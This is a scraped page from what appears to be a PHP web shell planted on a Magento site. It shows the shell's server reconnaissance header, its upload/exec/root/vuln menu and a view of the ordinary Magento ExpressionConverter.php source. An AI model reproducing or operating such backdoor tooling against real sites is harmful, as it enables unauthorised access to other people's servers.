Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 00:36:18
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/DB/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/DB/ExpressionConverter.php

<?php /** * DB expression converter * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\DB; class ExpressionConverter { /** * Maximum length for many MySql identifiers, including database, table, trigger, and column names */ const MYSQL_IDENTIFIER_LEN = 64; /** * Dictionary maps common words in identifiers to abbreviations * * @var array */ protected static $_translateMap = [ 'address' => 'addr', 'admin' => 'adm', 'attribute' => 'attr', 'enterprise' => 'ent', 'catalog' => 'cat', 'category' => 'ctgr', 'customer' => 'cstr', 'notification' => 'ntfc', 'product' => 'prd', 'session' => 'sess', 'user' => 'usr', 'entity' => 'entt', 'datetime' => 'dtime', 'decimal' => 'dec', 'varchar' => 'vchr', 'index' => 'idx', 'compare' => 'cmp', 'bundle' => 'bndl', 'option' => 'opt', 'gallery' => 'glr', 'media' => 'mda', 'value' => 'val', 'link' => 'lnk', 'title' => 'ttl', 'super' => 'spr', 'label' => 'lbl', 'website' => 'ws', 'aggregat' => 'aggr', 'minimal' => 'min', 'inventory' => 'inv', 'status' => 'sts', 'agreement' => 'agrt', 'layout' => 'lyt', 'resource' => 'res', 'directory' => 'dir', 'downloadable' => 'dl', 'element' => 'elm', 'fieldset' => 'fset', 'checkout' => 'chkt', 'newsletter' => 'nlttr', 'shipping' => 'shpp', 'calculation' => 'calc', 'search' => 'srch', 'query' => 'qr', ]; /** * Shorten name by abbreviating words * * @param string $name * @return string */ public static function shortName($name) { return strtr($name, self::$_translateMap); } /** * Add an abbreviation to the dictionary, or replace if it already exists * * @param string $from * @param string $to * @return void */ public static function addTranslate($from, $to) { self::$_translateMap[$from] = $to; } /** * Shorten the name of a MySql identifier, by abbreviating common words and hashing if necessary. Prepends the * given prefix to clarify what kind of entity the identifier represents, in case hashing is used. * * @param string $entityName * @param string $prefix * @return string */ public static function shortenEntityName($entityName, $prefix) { if (strlen($entityName) > self::MYSQL_IDENTIFIER_LEN) { $shortName = ExpressionConverter::shortName($entityName); if (strlen($shortName) > self::MYSQL_IDENTIFIER_LEN) { $hash = md5($entityName); if (strlen($prefix . $hash) > self::MYSQL_IDENTIFIER_LEN) { $entityName = self::trimHash($hash, $prefix, self::MYSQL_IDENTIFIER_LEN); } else { $entityName = $prefix . $hash; } } else { $entityName = $shortName; } } return $entityName; } /** * Remove superfluous characters from hash * * @param string $hash * @param string $prefix * @param int $maxCharacters * @return string */ private static function trimHash($hash, $prefix, $maxCharacters) { $diff = strlen($hash) + strlen($prefix) - $maxCharacters; $superfluous = $diff / 2; $odd = $diff % 2; $hash = substr($hash, $superfluous, - ($superfluous + $odd)); return $hash; } }